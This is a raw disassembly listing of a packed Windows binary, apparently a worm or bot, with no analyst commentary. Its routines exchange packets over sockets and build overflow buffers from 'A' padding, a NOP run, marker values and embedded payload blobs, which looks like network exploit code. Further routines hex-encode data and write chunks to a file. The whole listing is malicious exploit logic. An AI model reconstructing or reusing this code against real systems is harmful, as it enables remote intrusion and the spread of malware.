		push	eax
		call	sub_4114D0	; memcpy
		push	10FCh
		lea	eax, [ebp+var_A4F0]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 2Ch
		test	eax, eax
		jnz	short loc_40C405

loc_40C3FE:				; CODE XREF: sub_40C135+E2j
					; sub_40C135+11Dj ...
		xor	eax, eax
		jmp	loc_40C4FC
; ---------------------------------------------------------------------------

loc_40C405:				; CODE XREF: sub_40C135+2C7j
		push	0
		lea	eax, [ebp+var_8418]
		push	640h
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv
		lea	eax, [ebp+var_7418]
		push	0FDCh
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 0Ch
		jmp	loc_40C4F9
; ---------------------------------------------------------------------------

loc_40C438:				; CODE XREF: sub_40C135+174j
		push	0E29h
		lea	eax, [ebp+var_27E4]
		push	31h
		push	eax
		call	sub_4114E8	; memset
		mov	edi, 7D0h
		push	0
		lea	eax, [ebp+var_A50]
		push	edi
		push	eax
		call	sub_40D5A8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_280]
		push	eax
		lea	eax, [ebp+var_9B0]
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_2A4]
		push	offset dword_415FB0
		push	eax
		call	sub_4114D0	; memcpy
		push	7
		lea	eax, [ebp+var_294]
		push	offset sub_415FA8
		push	eax
		call	sub_4114D0	; memcpy
		push	7Ch
		lea	eax, [ebp+var_27E4]
		push	offset dword_415D2C
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_A50]
		push	edi
		push	eax
		lea	eax, [ebp+var_2768]
		push	eax
		call	sub_4114D0	; memcpy
		push	90h
		lea	eax, [ebp+var_1F98]
		push	offset off_415DAC
		push	eax
		call	sub_4114D0	; memcpy
		and	[ebp+var_1AED],	0
		lea	eax, [ebp+var_27E4]
		push	0CF8h
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 24h

loc_40C4F9:				; CODE XREF: sub_40C135+50j
					; sub_40C135+2FEj
		push	1
		pop	eax

loc_40C4FC:				; CODE XREF: sub_40C135+2CBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C135	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C501	proc near		; CODE XREF: sub_40C501+12Bp
					; DATA XREF: .packed:00417E74o

var_30		= dword	ptr -30h
var_1C		= byte ptr -1Ch
var_C		= byte ptr -0Ch
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_1004	= dword	ptr  1008h

		mov	eax, 1004h
		call	sub_411540
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_1004]
		xor	ebx, ebx
		push	edi
		cmp	[esi+3Eh], ebx
		mov	[esp+10h], ebx
		mov	edi, 0EA60h
		jnz	short loc_40C54B
		push	edi
		lea	eax, [esi+17h]
		push	ebx
		push	eax
		lea	eax, [esi+42h]
		mov	dword ptr [esp+1Ch], 1
		push	eax
		call	sub_403C04
		add	esp, 10h
		cmp	eax, ebx
		mov	[esi+3Eh], eax
		jz	loc_40C633

loc_40C54B:				; CODE XREF: sub_40C501+23j
		push	89h
		push	offset dword_4159A0
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40C633
		mov	ebp, 1000h
		push	ebx
		mov	ebx, dword_412258
		lea	eax, [esp+14h+arg_0]
		push	ebp
		push	eax
		push	dword ptr [esi+3Eh]
		call	ebx	; recv
		push	0A8h
		push	offset dword_415A2C
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40C633
		push	0
		lea	eax, [esp+24h+var_C]
		push	ebp
		push	eax
		push	dword ptr [esi+3Eh]
		call	ebx	; recv
		push	0DEh
		push	offset dword_415AD8
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	short loc_40C633
		xor	edi, edi
		lea	eax, [esp+30h+var_1C]
		push	edi
		push	ebp
		push	eax
		push	dword ptr [esi+3Eh]
		call	ebx	; recv
		cmp	[esp+40h+arg_14], 30h
		jnz	short loc_40C60A
		push	1
		push	esi
		call	sub_40C135
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C60A
		push	2
		push	esi
		call	sub_40C135
		jmp	short loc_40C631
; ---------------------------------------------------------------------------

loc_40C60A:				; CODE XREF: sub_40C501+EFj
					; sub_40C501+FDj
		cmp	[esp+40h+arg_14], 31h
		jnz	short loc_40C633
		push	edi
		push	esi
		call	sub_40C135
		cmp	[esp+48h+var_30], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C633
		push	dword ptr [esi+3Eh]
		call	sub_403D70
		push	esi
		mov	[esi+3Eh], edi
		call	sub_40C501

loc_40C631:				; CODE XREF: sub_40C501+107j
		pop	ecx
		pop	ecx

loc_40C633:				; CODE XREF: sub_40C501+44j
					; sub_40C501+6Aj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1004h
		retn
sub_40C501	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0A00h
		push	ebx
		mov	ebx, [ebp+8]
		push	1
		push	offset byte_4191D0
		push	dword ptr [ebx+2Ah]
		lea	eax, [ebx+146h]
		push	eax
		lea	eax, [ebx+0C6h]
		push	eax
		lea	eax, [ebp-0A00h]
		push	dword ptr [ebx+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		add	esp, 20h
		mov	[ebp+8], eax
		test	eax, eax
		jz	loc_40C797
		push	esi
		push	edi
		push	24h
		lea	eax, [ebp-800h]
		push	(offset	loc_415FCA+2)
		push	eax
		call	sub_4114D0	; memcpy
		push	210h
		lea	eax, [ebp-7DCh]
		push	4Dh
		push	eax
		call	sub_4114E8	; memset
		push	4
		lea	eax, [ebp-5CCh]
		pop	edi
		push	edi
		push	offset dword_415FF4
		push	eax
		call	sub_4114D0	; memcpy
		push	edi
		lea	eax, [ebp-5C8h]
		push	offset aCccc	; "CCCC"
		push	eax
		call	sub_4114D0	; memcpy
		push	edi
		lea	eax, [ebp-5C4h]
		push	offset loc_415FC4
		push	eax
		call	sub_4114D0	; memcpy
		mov	esi, (offset loc_415FC4+4)
		push	edi
		lea	eax, [ebp-5C0h]
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp-5BCh]
		push	edi
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		push	edi
		lea	eax, [ebp-5B8h]
		push	offset a3333	; "3333"
		push	eax
		call	sub_4114D0	; memcpy
		push	edi
		lea	eax, [ebp-5B4h]
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		push	edi
		lea	eax, [ebp-5B0h]
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		push	58h
		lea	eax, [ebp-5ACh]
		push	41h
		push	eax
		call	sub_4114E8	; memset
		mov	esi, [ebp+8]
		lea	eax, [ebp-0A00h]
		push	esi
		push	eax
		lea	eax, [ebp-554h]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		add	esi, 2ACh
		push	5
		lea	eax, [ebp+esi-800h]
		push	offset dword_415FFC
		push	eax
		call	sub_4114D0	; memcpy
		add	esi, 5
		lea	eax, [ebp-800h]
		push	esi
		push	eax
		push	dword ptr [ebx+3Eh]
		call	sub_403D9D
		add	esp, 18h
		pop	edi
		pop	esi

loc_40C797:				; CODE XREF: .packed:0040C682j
		pop	ebx
		leave
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0CD8h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	7
		push	offset dword_415854
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp-6D8h]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		add	esp, 20h
		mov	[ebp-8], eax
		test	eax, eax
		jz	loc_40CA9C
		push	89h
		push	offset dword_416014
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		mov	ebx, 2710h
		mov	edi, 600h
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		push	0A8h
		push	offset dword_4160A0
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		push	0DEh
		push	offset dword_41614C
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		mov	al, [ebp-0C98h]
		push	3Eh
		sub	al, 30h
		push	offset dword_41622C
		push	dword ptr [esi+3Eh]
		mov	[ebp-1], al
		mov	al, [ebp-0C94h]
		sub	al, 30h
		mov	[ebp+0Bh], al
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		push	60h
		push	offset dword_41626C
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		push	0A0h
		push	offset dword_4162D0
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		cmp	byte ptr [ebp-1], 5
		push	4
		pop	ebx
		jnz	loc_40C9FC
		cmp	byte ptr [ebp+0Bh], 1
		jnz	loc_40C9F6
		push	86h
		lea	eax, [ebp-374h]
		push	offset dword_416374
		push	eax
		call	sub_4114D0	; memcpy
		mov	edi, [ebp-8]
		lea	eax, [ebp-6D8h]
		push	edi
		push	eax
		lea	eax, [ebp-2EEh]
		push	eax
		call	sub_4114D0	; memcpy
		mov	eax, 2C4h
		push	0
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi-2EEh]
		push	eax
		call	sub_40D5A8
		push	ebx
		lea	eax, [ebp-8Ah]
		push	offset dword_4164D4
		push	eax
		call	sub_4114D0	; memcpy
		mov	edi, offset dword_4164CC
		push	ebx
		lea	eax, [ebp-7Eh]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		push	ebx
		lea	eax, [ebp-5Ah]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp-4Eh]
		push	ebx
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		push	20h
		lea	eax, [ebp-2Ah]
		push	offset dword_4163FC
		push	eax
		call	sub_4114D0	; memcpy
		mov	edi, 36Ah
		lea	eax, [ebp-374h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 24h
		push	400h
		call	dword_4120A4	; Sleep
		lea	eax, [ebp-374h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 0Ch
		jmp	loc_40CA9C
; ---------------------------------------------------------------------------

loc_40C9F6:				; CODE XREF: .packed:0040C926j
		cmp	byte ptr [ebp+0Bh], 0
		jz	short loc_40CA05

loc_40C9FC:				; CODE XREF: .packed:0040C91Cj
		cmp	[ebp-1], bl
		jnz	loc_40CA9C

loc_40CA05:				; CODE XREF: .packed:0040C9FAj
		push	86h
		lea	eax, [ebp-4D8h]
		push	offset dword_416420
		push	eax
		call	sub_4114D0	; memcpy
		mov	eax, 3E8h
		sub	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-452h]
		push	90h
		push	eax
		call	sub_4114E8	; memset
		push	dword ptr [ebp-8]
		lea	eax, [ebp-6D8h]
		push	eax
		lea	eax, [ebp-6Ah]
		sub	eax, [ebp-8]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp-6Ah]
		add	esp, 24h
		mov	[ebp+8], eax
		mov	dword ptr [ebp-8], 10h
		mov	edi, offset dword_4164CC

loc_40CA60:				; CODE XREF: .packed:0040CA73j
		push	ebx
		push	edi
		push	dword ptr [ebp+8]
		call	sub_4114D0	; memcpy
		add	[ebp+8], ebx
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40CA60
		push	20h
		lea	eax, [ebp-2Ah]
		push	offset dword_4164A8
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp-4D8h]
		push	4CEh
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 18h

loc_40CA9C:				; CODE XREF: .packed:0040C7E1j
					; .packed:0040C819j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAA1	proc near		; CODE XREF: .packed:0040CD98p
					; .packed:0040CDA6p

var_2208	= byte ptr -2208h
var_21FF	= byte ptr -21FFh
var_1208	= byte ptr -1208h
var_1205	= byte ptr -1205h
var_11DB	= byte ptr -11DBh
var_11D8	= byte ptr -11D8h
var_10D8	= byte ptr -10D8h
var_980		= byte ptr -980h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2208h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E2C1
		add	esp, 18h
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_40CD8D
		push	89h
		push	offset dword_4164DC
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		mov	ebx, 0EA60h
		mov	edi, 1000h
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		cmp	[ebp+var_21FF],	0
		jnz	loc_40CD8D
		push	0A8h
		push	offset dword_416568
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		push	0DEh
		push	offset dword_416614
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		cmp	[ebp+var_21FF],	0
		jnz	loc_40CD8D
		push	30h
		lea	eax, [ebp+var_1208]
		push	offset dword_4166F4
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_11D8]
		push	eax
		lea	eax, [esi+42h]
		push	eax
		call	sub_40311D
		lea	eax, [eax+eax-2]
		push	1
		lea	ecx, [eax+30h]
		add	eax, 9
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_11DB]
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_4114D0	; memcpy
		mov	eax, [ebp+arg_0]
		push	8
		push	offset dword_416728
		lea	eax, [ebp+eax+var_1208]
		push	eax
		call	sub_4114D0	; memcpy
		add	[ebp+arg_0], 8
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFCh
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1205]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1208]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 44h
		lea	eax, [ebp+var_2208]
		push	ebx
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		cmp	[ebp+var_21FF],	0
		jnz	loc_40CD8D
		push	6Ah
		push	offset dword_416734
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		cmp	[ebp+var_21FF],	0
		jnz	loc_40CD8D
		push	0A0h
		push	offset dword_4167A0
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		cmp	[ebp+var_21FF],	0
		jnz	loc_40CD8D
		push	0
		lea	eax, [ebp+var_1208]
		push	894h
		push	eax
		call	sub_40D5A8
		add	esp, 0Ch
		cmp	[ebp+arg_4], 0
		push	130h
		jnz	short loc_40CD28
		push	offset dword_416844
		jmp	short loc_40CD2D
; ---------------------------------------------------------------------------

loc_40CD28:				; CODE XREF: sub_40CAA1+27Ej
		push	offset dword_416978

loc_40CD2D:				; CODE XREF: sub_40CAA1+285j
		lea	eax, [ebp+var_1208]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_208]
		push	[ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10D8]
		push	eax
		call	sub_4114D0	; memcpy
		push	0Ch
		lea	eax, [ebp+var_980]
		push	offset dword_416AAC
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_1208]
		push	894h
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 34h

loc_40CD8D:				; CODE XREF: sub_40CAA1+43j
					; sub_40CAA1+7Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CAA1	endp

; ---------------------------------------------------------------------------
		push	0
		push	dword ptr [esp+8]
		call	sub_40CAA1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_40CDA0:				; DATA XREF: .packed:00417EE8o
		push	1
		push	dword ptr [esp+8]
		call	sub_40CAA1
		pop	ecx
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40CDAE	proc near		; CODE XREF: sub_40CEBE+12Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_4], esi
		jbe	short loc_40CDDD
		mov	edx, [esp+4+arg_8]

loc_40CDBB:				; CODE XREF: sub_40CDAE+2Dj
		mov	eax, [esp+4+arg_0]
		mov	cl, [esi+eax]
		mov	al, cl
		and	cl, 0Fh
		shr	al, 4
		add	cl, 41h
		add	al, 41h
		mov	[edx], cl
		mov	[edx+1], al
		inc	esi
		inc	edx
		inc	edx
		cmp	esi, [esp+4+arg_4]
		jb	short loc_40CDBB

loc_40CDDD:				; CODE XREF: sub_40CDAE+7j
		pop	esi
		retn
sub_40CDAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDDF	proc near		; CODE XREF: sub_40CDDF+CDp
					; sub_40CEBE+4DCp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40CDF3
		or	[ebp+arg_7], 1
		jmp	short loc_40CDF7
; ---------------------------------------------------------------------------

loc_40CDF3:				; CODE XREF: sub_40CDDF+Cj
		and	[ebp+arg_7], 0FEh

loc_40CDF7:				; CODE XREF: sub_40CDDF+12j
		mov	ebx, [ebp+arg_20]
		mov	eax, [ebp+arg_24]
		lea	ecx, [ebx+18h]
		cmp	ecx, eax
		ja	short loc_40CE18
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40CE2A
; ---------------------------------------------------------------------------

loc_40CE18:				; CODE XREF: sub_40CDDF+23j
		mov	[ebp+arg_C], ax
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_40CE2A:				; CODE XREF: sub_40CDDF+37j
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jnz	short loc_40CE43

loc_40CE3F:				; CODE XREF: sub_40CDDF+A4j
		xor	eax, eax
		jmp	short loc_40CEB9
; ---------------------------------------------------------------------------

loc_40CE43:				; CODE XREF: sub_40CDDF+5Ej
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_412070	; WriteFile
		push	[ebp+arg_20]
		test	eax, eax
		jnz	short loc_40CE85
		call	sub_4114CA	; free
		pop	ecx
		jmp	short loc_40CE3F
; ---------------------------------------------------------------------------

loc_40CE85:				; CODE XREF: sub_40CDDF+9Cj
		call	sub_4114CA	; free
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40CEB6
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40CDDF
		add	esp, 2Ch
		jmp	short loc_40CEB9
; ---------------------------------------------------------------------------

loc_40CEB6:				; CODE XREF: sub_40CDDF+B0j
		push	1
		pop	eax

loc_40CEB9:				; CODE XREF: sub_40CDDF+62j
					; sub_40CDDF+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CDDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBE	proc near		; CODE XREF: sub_40D3D6+6p
					; sub_40D3D6+16p

var_CEBC	= byte ptr -0CEBCh
var_8EBC	= byte ptr -8EBCh
var_7364	= byte ptr -7364h
var_5364	= byte ptr -5364h
var_3364	= byte ptr -3364h
var_1364	= dword	ptr -1364h
var_A68		= byte ptr -0A68h
var_A63		= byte ptr -0A63h
var_A24		= byte ptr -0A24h
var_5B8		= byte ptr -5B8h
var_3B8		= byte ptr -3B8h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_6C		= byte ptr -6Ch
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= byte ptr -66h
var_65		= byte ptr -65h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5E		= word ptr -5Eh
var_5C		= dword	ptr -5Ch
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= byte ptr -4Ah
var_48		= byte ptr -48h
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 0CEBCh
		call	sub_411540
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_41920C, edi
		jz	loc_40D3CE
		cmp	dword_419214, edi
		jz	loc_40D3CE
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_5B8]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E2C1
		add	esp, 18h
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40CF41
		add	esi, 42h
		push	2
		push	esi
		mov	[ebp+arg_0], esi
		call	sub_40D42D
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jz	short loc_40CF48
		push	1
		push	esi
		call	sub_40D42D
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jz	short loc_40CF48

loc_40CF41:				; CODE XREF: sub_40CEBE+5Dj
		xor	eax, eax
		jmp	loc_40D3D1
; ---------------------------------------------------------------------------

loc_40CF48:				; CODE XREF: sub_40CEBE+72j
					; sub_40CEBE+81j
		push	32Bh
		lea	eax, [ebp+var_3B8]
		push	edi
		push	eax
		call	sub_4114E8	; memset
		mov	esi, 0DACh
		lea	eax, [ebp+var_1364]
		push	esi
		push	edi
		push	eax
		call	sub_4114E8	; memset
		push	1B58h
		lea	eax, [ebp+var_8EBC]
		push	edi
		push	eax
		call	sub_4114E8	; memset
		push	0DABh
		lea	eax, [ebp+var_1364]
		push	41h
		push	eax
		call	sub_4114E8	; memset
		mov	eax, [ebp+arg_4]
		push	5
		push	offset dword_416AC0
		lea	ebx, [eax+eax*8]
		mov	[ebp+var_8], ebx
		mov	eax, dword ptr (loc_416B1A+2)[ebx]
		mov	ecx, dword ptr (loc_416B17+1)[ebx]
		mov	[ebp+eax+var_1364], ecx
		lea	eax, [ebp+var_A68]
		push	eax
		call	sub_4114D0	; memcpy
		push	3Fh
		lea	eax, [ebp+var_A63]
		push	offset sub_416AD8
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_5B8]
		push	[ebp+var_4]
		push	eax
		call	sub_40CDAE
		lea	eax, [ebp+var_3B8]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_A24]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_3B8]
		push	eax
		call	sub_4114BE	; strlen
		and	[ebp+eax+var_A24], 0
		add	esp, 20h
		xor	ecx, ecx
		lea	eax, [ebp+var_8EBC]

loc_40D02C:				; CODE XREF: sub_40CEBE+17Fj
		movzx	dx, byte ptr [ebp+ecx+var_1364]
		mov	[eax], dx
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, esi
		jb	short loc_40D02C
		push	[ebp+arg_0]
		mov	esi, 2000h
		lea	eax, [ebp+var_7364]
		push	offset dword_416B80
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_7364]
		push	esi
		push	eax
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_4117BA	; mbstowcs
		push	offset dword_416B7C
		push	[ebp+arg_0]
		call	sub_411924	; _strcmpi
		add	esp, 24h
		test	eax, eax
		jz	short loc_40D0D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3364]
		push	offset dword_416B74
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		push	esi
		lea	eax, [ebp+var_3364]
		push	offset dword_416B6C
		push	eax
		call	sub_4117B4	; strncat
		push	20h
		lea	eax, [ebp+var_8C]
		push	edi
		push	eax
		call	sub_4114E8	; memset
		lea	eax, [ebp+var_3364]
		add	esp, 28h
		mov	[ebp+var_78], eax
		mov	eax, offset byte_4191D0
		push	edi
		push	eax
		push	eax
